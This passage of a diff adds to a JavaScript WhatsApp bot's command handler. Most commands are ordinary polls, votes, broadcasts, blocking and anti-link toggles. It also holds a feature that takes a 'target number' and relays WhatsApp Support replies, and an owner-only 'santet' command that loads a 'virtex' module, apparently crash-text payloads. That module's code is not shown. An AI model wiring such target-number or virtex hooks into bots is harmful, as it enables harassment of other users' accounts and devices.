Ketentuan Layanan ini.`) +} else if (payload.includes(`"payload":false`)) { +replygcxeon(`##- WhatsApp Support -## + +Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`) +} else replygcxeon(util.format(res.data)) +} catch (err) {replygcxeon(`${err}`)} +} else replygcxeon('Masukkan nomor target!') +} +break + +//=================={{=[===================]]\\ + +case 'santet' : case '๐ŸŒท' : case '๐Ÿฒ': case '๐Ÿ‰': case '๐ŸŒต': case '๐ŸŽ„': case '๐ŸŒฒ': case '๐ŸŒณ': case '๐ŸŒฑ': case '๐ŸŒฟ': case '๐Ÿ€': case 'โ˜˜๏ธ': { + if (!XeonTheCreator) return XeonStickOwner() +const { xeonorwot } = require('./virtex/xeonbut2') +let reactionMessage = proto.Message.ReactionMessage.create({ key: m.key, text: "" }) +XeonBotInc.relayMessage(m.chat, { reactionMessage }, { messageId: '๐Ÿฆ„' }) +} +break + +//=================={{=[===================]]\\ +case 'tourl': { + const media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) + let anuu = await TelegraPh (media) + replygcxeon(`๐Ÿ“ฎ *L I N K :* +${anuu} +๐Ÿ“Š *S I Z E :* ${media.length} Byte +๐Ÿ“› *E x p i r e d :* No Expiry Date`) +await fs.unlinkSync(media) +} + break +//================================================================= +case 'carimusik': { +if (!quoted) return replygcxeon(`mana Musiknya kak?`) +const media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) + let anuu = await TelegraPh (media) + const crii = await fetchJson(`https://api.lolhuman.xyz/api/musicsearch?apikey=haikalgans&file=${anuu}`); + reply(`Status: succes\n*Judul* : ${crii.result.title}\n*Album* : ${crii.result.album}\n`) +} +break +//================================================================= + +case 'join': { +if (!XeonTheCreator) return XeonStickOwner() +if (!text) return replygcxeon(`Contoh ${prefix+command} linkgc`) +if (!isUrl(args[0]) && !args[0].includes('whatsapp.com')) return replygcxeon('Link Invalid!') +let result = args[0].split('https://chat.whatsapp.com/')[1] +await XeonBotInc.groupAcceptInvite(result) +await replygcxeon(`Done`) +} +break +case 'poll': { + if (!XeonTheCreator) return XeonStickOwner() + let [poll, opt] = text.split("|") + if (text.split("|") < 2) +return await replygcxeon( +`Mention question and atleast 2 options\nExample: ${prefix}poll Who is best admin?|Xeon,Cheems,Doge...` +) + let options = [] + for (let i of opt.split(',')) { +options.push(i) + } + await XeonBotInc.sendMessage(m.chat, { +poll: { +name: poll, +values: options +} + }) + } + break + case 'vote': { + if (!m.isGroup) return reply(mess.only.group) + if (m.chat in vote) return replygcxeon(`_There are still votes in this chat!_\n\n*${prefix}deletevote* - to delete votes`) + if (!text) return replygcxeon(`Enter Reason for Vote, Example: *${prefix + command} Handsome Owner*`) + replygcxeon(`Voting starts!\n\n*${prefix}upvote* - for upvote\n*${prefix}downvote* - for downvote\n*${prefix}checkvote* - to check the vote\n*${prefix}deletevote* - to delete vote`) + vote[m.chat] = [q, [], []] + await sleep(1000) + upvote = vote[m.chat][1] + devote = vote[m.chat][2] + teks_vote = `* VOTE * + +*Reason:* ${vote[m.chat][0]} + +โ”Œใ€” UPVOTE ใ€• +โ”‚ +โ”œ Total: ${vote[m.chat][1].length} +โ”‚ +โ”‚ +โ””โ”€โ”€โ”€โ”€ + +โ”Œใ€” DOWNVOTE ใ€• +โ”‚ +โ”œ Total: ${vote[m.chat][2].length} +โ”‚ +โ”‚ +โ””โ”€โ”€โ”€โ”€ + +Please Type Below +*${prefix}upvote* - to cast vote +*${prefix}downvote* - to downvote +*${prefix}deletevote* - to delete vote` + XeonBotInc.sendMessage(m.chat, {text: teks_vote}, {quoted:m}) + } + break + case 'upvote': { + if (!m.isGroup) return reply(mess.only.group) + if (!(m.chat in vote)) return replygcxeon(`_*no voting in this group!*_\n\n*${prefix}vote* - to start voting`) + isVote = vote[m.chat][1].concat(vote[m.chat][2]) + wasVote = isVote.includes(m.sender) + if (wasVote) return replygcxeon('You have Voted') + vote[m.chat][1].push(m.sender) + menvote = vote[m.chat][1].concat(vote[m.chat][2]) + teks_vote = `* VOTE * + +*Reason:* ${vote[m.chat][0]} + +โ”Œใ€” UPVOTE ใ€• +โ”‚ +โ”œ Total: ${vote[m.chat][1].length} +${vote[m.chat][1].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} +โ”‚ +โ””โ”€โ”€โ”€โ”€ + +โ”Œใ€” DOWNVOTE ใ€• +โ”‚ +โ”œ Total: ${vote[m.chat][2].length} +${vote[m.chat][2].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} +โ”‚ +โ””โ”€โ”€โ”€โ”€ + +Please Type Below +*${prefix}upvote* - to upvote +*${prefix}downvote* - to downvote +*${prefix}deletevote* - to delete vote` + XeonBotInc.sendMessage(m.chat, {text: teks_vote, mentions: menvote}, {quoted:m}) + } + break +case 'downvote': { + if (!m.isGroup) return reply(mess.only.group) + if (!(m.chat in vote)) return replygcxeon(`_*no voting in this group!*_\n\n*${prefix}vote* - to start voting`) + isVote = vote[m.chat][1].concat(vote[m.chat][2]) + wasVote = isVote.includes(m.sender) + if (wasVote) return replygcxeon('You have Voted') + vote[m.chat][2].push(m.sender) + menvote = vote[m.chat][1].concat(vote[m.chat][2]) + teks_vote = `* VOTE * + +*Reason:* ${vote[m.chat][0]} + +โ”Œใ€” UPVOTE ใ€• +โ”‚ +โ”œ Total: ${vote[m.chat][1].length} +${vote[m.chat][1].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} +โ”‚ +โ””โ”€โ”€โ”€โ”€ + +โ”Œใ€” DOWNVOTE ใ€• +โ”‚ +โ”œ Total: ${vote[m.chat][2].length} +${vote[m.chat][2].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} +โ”‚ +โ””โ”€โ”€โ”€โ”€ + +Please Type Below +*${prefix}upvote* - to upvote +*${prefix}downvote* - to downvote +*${prefix}deletevote* - to delete vote` + XeonBotInc.sendMessage(m.chat, {text: teks_vote, mentions: menvote}, {quoted:m}) + } + break + +case 'checkvote': +if (!m.isGroup) return reply(mess.only.group) +if (!(m.chat in vote)) return replygcxeon(`_*no voting in this group!*_\n\n*${prefix}vote* - to start voting`) +teks_vote = `* VOTE * + +*Reason:* ${vote[m.chat][0]} + +โ”Œใ€” UPVOTE ใ€• +โ”‚ +โ”œ Total: ${upvote.length} +${vote[m.chat][1].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} +โ”‚ +โ””โ”€โ”€โ”€โ”€ + +โ”Œใ€” DOWNVOTE ใ€• +โ”‚ +โ”œ Total: ${devote.length} +${vote[m.chat][2].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} +โ”‚ +โ””โ”€โ”€โ”€โ”€ + +*${prefix}deletevote* - to delete votes + + +ยฉ${XeonBotInc.user.id} +` +XeonBotInc.sendTextWithMentions(m.chat, teks_vote, m) +break + case 'deletevote': case'delvote': case 'hapusvote': { + if (!m.isGroup) return reply(mess.only.group) + if (!(m.chat in vote)) return replygcxeon(`_*no voting in this group!*_\n\n*${prefix}vote* - to start voting`) + delete vote[m.chat] + replygcxeon('Successfully Deleted Vote Session In This Group') + } + break +case 'toonce': case 'toviewonce': { +if (!quoted) return replygcxeon(`Reply Image/Video`) +reply(mess.wait) +if (/image/.test(mime)) { +anuan = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +XeonBotInc.sendMessage(m.chat, {image: {url:anuan}, caption: `Ini dia!!`, fileLength: "999", viewOnce : true},{quoted: m }) +} else if (/video/.test(mime)) { +anuanuan = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +XeonBotInc.sendMessage(m.chat, {video: {url:anuanuan}, caption: `Ini dia!!`, fileLength: "99999999", viewOnce : true},{quoted: m }) +} +} +break +case 'fliptext': { +if (args.length < 1) return replygcxeon(`Example:\n${prefix}fliptext ${ownername}`) +quere = args.join(" ") +flipe = quere.split('').reverse().join('') +replygcxeon(`\`\`\`ใ€Œ FLIP TEXT ใ€\`\`\`\n*โ€ข> Normal :*\n${quere}\n*โ€ข> Flip :*\n${flipe}`) +} +break + case 'listpc': { + let anulistp = await store.chats.all().filter(v => v.id.endsWith('.net')).map(v => v.id) + let teks = `${themeemoji} *PERSONAL CHAT LIST*\n\nTotal Chat : ${anulistp.length} Chat\n\n` + for (let i of anulistp) { + let nama = store.messages[i].array[0].pushName + teks += `${themeemoji} *Name :* ${nama}\n${themeemoji} *User :* @${i.split('@')[0]}\n${themeemoji} *Chat :* https://wa.me/${i.split('@')[0]}\n\nโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\n\n` + } + XeonBotInc.sendTextWithMentions(m.chat, teks, m) + } + break +case 'listgc': { + let anulistg = await store.chats.all().filter(v => v.id.endsWith('@g.us')).map(v => v.id) + let teks = `${themeemoji} *GROUP CHAT LIST*\n\nTotal Group : ${anulistg.length} Group\n\n` + for (let i of anulistg) { + let metadata = await XeonBotInc.groupMetadata(i) + teks += `${themeemoji} *Name :* ${metadata.subject}\n${themeemoji} *Owner :* ${metadata.owner !== undefined ? '@' + metadata.owner.split`@`[0] : 'Unknown'}\n${themeemoji} *ID :* ${metadata.id}\n${themeemoji} *Made :* ${moment(metadata.creation * 1000).tz('Asia/Kolkata').format('DD/MM/YYYY HH:mm:ss')}\n${themeemoji} *Member :* ${metadata.participants.length}\n\nโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\n\n` + } + XeonBotInc.sendTextWithMentions(m.chat, teks, m) + } + break + case 'ping': case 'botstatus': case 'statusbot': { +const used = process.memoryUsage() +const cpus = os.cpus().map(cpu => { +cpu.total = Object.keys(cpu.times).reduce((last, type) => last + cpu.times[type], 0) + return cpu +}) +const cpu = cpus.reduce((last, cpu, _, { length }) => { +last.total += cpu.total +last.speed += cpu.speed / length +last.times.user += cpu.times.user +last.times.nice += cpu.times.nice +last.times.sys += cpu.times.sys +last.times.idle += cpu.times.idle +last.times.irq += cpu.times.irq +return last +}, { +speed: 0, +total: 0, +times: { + user: 0, + nice: 0, + sys: 0, + idle: 0, + irq: 0 +} +}) +let timestamp = speed() +let latensi = speed() - timestamp +neww = performance.now() +oldd = performance.now() +respon = ` +Response Speed ${latensi.toFixed(4)} _Second_ \n ${oldd - neww} _miliseconds_\n\nRuntime : ${runtime(process.uptime())} + +๐Ÿ’ป Info Server +RAM: ${formatp(os.totalmem() - os.freemem())} / ${formatp(os.totalmem())} + +_NodeJS Memory Usaage_ +${Object.keys(used).map((key, _, arr) => `${key.padEnd(Math.max(...arr.map(v=>v.length)),' ')}: ${formatp(used[key])}`).join('\n')} + +${cpus[0] ? `_Total CPU Usage_ +${cpus[0].model.trim()} (${cpu.speed} MHZ)\n${Object.keys(cpu.times).map(type => `- *${(type + '*').padEnd(6)}: ${(100 * cpu.times[type] / cpu.total).toFixed(2)}%`).join('\n')} +_CPU Core(s) Usage (${cpus.length} Core CPU)_ +${cpus.map((cpu, i) => `${i + 1}. ${cpu.model.trim()} (${cpu.speed} MHZ)\n${Object.keys(cpu.times).map(type => `- *${(type + '*').padEnd(6)}: ${(100 * cpu.times[type] / cpu.total).toFixed(2)}%`).join('\n')}`).join('\n\n')}` : ''} +`.trim() +replygcxeon(respon) + } + break + case 'bctext': case 'broadcasttext': case 'broadcast': { + if (!XeonTheCreator) return XeonStickOwner() + if (!q) return replygcxeon(`Enter text`) + const data = await store.chats.all() + for (let i of data) { + XeonBotInc.sendMessage(i.id, {text: `${ownername}'s Broadcast\n\nMessage : ${q}` }) + await sleep(1000) + } + } + break + case 'broadcastimage': case 'bcimage': case 'broadcastvideo': case 'broadcastvid': +if(!XeonTheCreator) return XeonStickOwner() + if (!q) return replygcxeon(`Enter text`) + let getGroups = await XeonBotInc.groupFetchAllParticipating() + let groups = Object.entries(getGroups).slice(0).map(entry => entry[1]) + let xeoncast = groups.map(v => v.id) + replygcxeon(` Broadcasting in ${xeoncast.length} Group Chat, in ${xeoncast.length * 1.5} seconds`) + for (let i of xeoncast) { +let txt = `${ownername}'s Broadcast\n\nMessage : ${q}` +if(/image/.test(mime)) { +let media = await quoted.download() +await XeonBotInc.sendMessage(i, { image:media, caption: txt,mentions:participants.map(a => a.id) }) +} +if(/video/.test(mime)){ +let media = await quoted.download() +await XeonBotInc.sendMessage(i, { video:media, caption: txt, mentions:participants.map(a => a.id) }) +} + } + replygcxeon(`Successfuly Broadcasted in ${xeoncast.length} Groups`) + break +case 'block': case 'ban': { + if (!XeonTheCreator) return XeonStickOwner() + let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' + await XeonBotInc.updateBlockStatus(users, 'block') + await replygcxeon(`Done`) + } + break + case 'unblock': case 'unban': { + if (!XeonTheCreator) return XeonStickOwner() + let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' + await XeonBotInc.updateBlockStatus(users, 'unblock') + await replygcxeon(`Done`) + } + break +case 'listblock': case 'listban': case 'blocklist': case 'banlist': { + const lisben = "Total Block: " + banUser.length + replygcxeon(lisben) + } + break + +case 'resetlinkgc': +case 'resetlinkgroup': +case 'resetlinkgrup': +case 'revoke': +case 'resetlink': +case 'resetgrouplink': +case 'resetgclink': +case 'resetgruplink': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +XeonBotInc.groupRevokeInvite(m.chat) +} +break + case 'react': { +if (!XeonTheCreator) return XeonStickOwner() +reactionMessage = { +react: { + text: args[0], + key: { remoteJid: m.chat, fromMe: true, id: quoted.id } +} +} +XeonBotInc.sendMessage(m.chat, reactionMessage) + } + break +case 'group': case 'gc': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() +if (!q) return replygcxeon(`Send orders ${command} _options_\nOptions : close & open\nExample : ${command} close`) +if (args[0] == 'close') { +XeonBotInc.groupSettingUpdate(from, 'announcement') +} else if (args[0] == 'open') { +XeonBotInc.groupSettingUpdate(from, 'not_announcement') +} else { +replygcxeon(`Type Command ${command} options\nOptions : Tutup & Buka\nContoh : ${command} close`) +}} +break +case 'autostickergc': + case 'autosticker': +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args.length < 1) return replygcxeon('type auto sticker on to enable\ntype auto sticker off to disable') +if (args[0] === 'on'){ +if (isAutoSticker) return replygcxeon(`Already activated`) +autosticker.push(from) +fs.writeFileSync('./database/autosticker.json', JSON.stringify(autosticker)) +replygcxeon('autosticker activated') +} else if (args[0] === 'off'){ +let anuticker1 = autosticker.indexOf(from) +autosticker.splice(anuticker1, 1) +fs.writeFileSync('./database/autosticker.json', JSON.stringify(autosticker)) +replygcxeon('auto sticker deactivated') +} +break +case 'antivirus': case 'antivirtex': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (antiVirtex) return replygcxeon('Already activated') +ntvirtex.push(from) +fs.writeFileSync('./database/antivirus.json', JSON.stringify(ntvirtex)) +replygcxeon('Success in turning on antivirus in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nNo body is allowed to send virus in this group, member who send will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!antiVirtex) return replygcxeon('Already deactivated') +let off = ntvirtex.indexOf(from) +ntvirtex.splice(off, 1) +fs.writeFileSync('./database/antivirus.json', JSON.stringify(ntvirtex)) +replygcxeon('Success in turning off antivirus this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break +case 'nsfw': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (AntiNsfw) return replygcxeon('Already activated') +ntnsfw.push(from) +fs.writeFileSync('./database/nsfw.json', JSON.stringify(ntnsfw)) +replygcxeon('Success in turning on nsfw in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nNsfw(not safe for work) feature has been enabled in this group, which means one can access sexual graphics from the bot!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!AntiNsfw) return replygcxeon('Already deactivated') +let off = ntnsfw.indexOf(from) +ntnsfw.splice(off, 1) +fs.writeFileSync('./database/nsfw.json', JSON.stringify(ntnsfw)) +replygcxeon('Success in turning off nsfw in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break + case 'antilinkyoutubevideo': case 'antilinkyoutubevid': case 'antilinkytvid': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (AntiLinkYoutubeVid) return replygcxeon('Already activated') +ntilinkytvid.push(from) +fs.writeFileSync('./database/antilinkytvideo.json', JSON.stringify(ntilinkytvid)) +replygcxeon('Success in turning on youtube video antilink in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the youtube video link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!AntiLinkYoutubeVid) return replygcxeon('Already deactivated') +let off = ntilinkytvid.indexOf(from) +ntilinkytvid.splice(off, 1) +fs.writeFileSync('./database/antilinkytvideo.json', JSON.stringify(ntilinkytvid)) +replygcxeon('Success in turning off youtube video antilink in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break + case 'antilinkyoutubech': case 'antilinkyoutubechannel': case 'antilinkytch': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (AntiLinkYoutubeChannel) return replygcxeon('Already activated') +ntilinkytch.push(from) +fs.writeFileSync('./database/antilinkytchannel.json', JSON.stringify(ntilinkytch)) +replygcxeon('Success in turning on youtube channel antilink in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the youtube channel link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!AntiLinkYoutubeChannel) return replygcxeon('Already deactivated') +let off = ntilinkytch.indexOf(from) +fs.writeFileSync('./database/antilinkytchannel.json', JSON.stringify(ntilinkytch)) +ntilinkytch.splice(off, 1) +replygcxeon('Success in turning off youtube channel antilink in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break + case 'antilinkinstagram': case 'antilinkig': case 'antilinkinsta': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (AntiLinkInstagram) return replygcxeon('Already activated') +ntilinkig.push(from) +fs.writeFileSync('./database/antilinkinstagram.json', JSON.stringify(ntilinkig)) +replygcxeon('Success in turning on instagram antilink in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the instagram link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!AntiLinkInstagram) return replygcxeon('Already deactivated') +let off = ntilinkig.indexOf(from) +ntilinkig.splice(off, 1) +fs.writeFileSync('./database/antilinkinstagram.json', JSON.stringify(ntilinkig)) +replygcxeon('Success in turning off instagram antilink in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break + case 'antilinkfacebook': case 'antilinkfb': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (AntiLinkFacebook) return replygcxeon('Already activated') +ntilinkfb.push(from) +fs.writeFileSync('./database/antilinkfacebook.json', JSON.stringify(ntilinkfb)) +replygcxeon('Success in turning on facebook antilink in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the facebook link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!AntiLinkFacebook) return replygcxeon('Already deactivated') +let off = ntilinkfb.indexOf(from) +ntilinkfb.splice(off, 1) +fs.writeFileSync('./database/antilinkfacebook.json', JSON.stringify(ntilinkfb)) +replygcxeon('Success in turning off facebook antilink in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break + case 'antilinktelegram': case 'antilinktg': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (AntiLinkTelegram) return replygcxeon('Already activated') +ntilinktg.push(from) +fs.writeFileSync('./database/antilinktelegram.json', JSON.stringify(ntilinktg)) +replygcxeon('Success in turning on telegram antilink in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the telegram link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!AntiLinkTelegram) return replygcxeon('Already deactivated') +let off = ntilinktg.indexOf(from) +ntilinktg.splice(off, 1) +fs.writeFileSync('./database/antilinktelegram.json', JSON.stringify(ntilinktg)) +replygcxeon('Success in turning off telegram antilink in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break + case 'antilinktiktok': case 'antilinktt': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (AntiLinkTiktok) return replygcxeon('Already activated') +ntilinktt.push(from) +fs.writeFileSync('./database/antilinktiktok.json', JSON.stringify(ntilinktt)) +replygcxeon('Success in turning on tiktok antilink in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the tiktok link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!AntiLinkTiktok) return replygcxeon('Already deactivated') +let off = ntilinktt.indexOf(from) +ntilinktt.splice(off, 1) +fs.writeFileSync('./database/antilinktiktok.json', JSON.stringify(ntilinktt)) +replygcxeon('Success in turning off tiktok antilink in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break + case 'antilinktwt': case 'antilinktwitter': case 'antilinktwit': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (AntiLinkTwitter) return replygcxeon('Already activated') +ntilinktwt.push(from) +fs.writeFileSync('./database/antilinktwitter.json', JSON.stringify(ntilinktwt)) +replygcxeon('Success in turning on twitter antilink in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the twitter link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!AntiLinkTwitter) return replygcxeon('Already deactivated') +let off = ntilinktwt.indexOf(from) +ntilinktwt.splice(off, 1) +fs.writeFileSync('./database/antilinktwitter.json', JSON.stringify(ntilinktwt)) +replygcxeon('Success in turning off twitter antilink in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break + case 'antilinkall': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (AntiLinkTwitter) return replygcxeon('Already activated') +ntilinkall.push(from) +fs.writeFileSync('./database/antilinkall.json', JSON.stringify(ntilinkall)) +replygcxeon('Success in turning on all antilink in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send any link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!AntiLinkAll) return replygcxeon('Already deactivated') +let off = ntilinkall.indexOf(from) +ntilinkall.splice(off, 1) +fs.writeFileSync('./database/antilinkall.json', JSON.stringify(ntilinkall)) +replygcxeon('Success in turning off all antilink in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break +case 'antitoxic': case 'antibadword': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (antiToxic) return replygcxeon('Already activated') +nttoxic.push(from) +fs.writeFileSync('./database/antitoxic.json', JSON.stringify(nttoxic)) +replygcxeon('Success in turning on antitoxic in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nNobody is allowed to use bad words in this group, one who uses will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!antiToxic) return replygcxeon('Already deactivated') +let off = nttoxic.indexOf(from) +nttoxic.splice(off, 1) +fs.writeFileSync('./database/antitoxic.json', JSON.stringify(nttoxic)) +replygcxeon('Success in turning off antitoxic in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break +case 'antiwame': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (antiWame) return replygcxeon('Already activated') +ntwame.push(from) +fs.writeFileSync('./database/antiwame.json', JSON.stringify(ntwame)) +replygcxeon('Success in turning on antiwame in this group') +var groupe = await 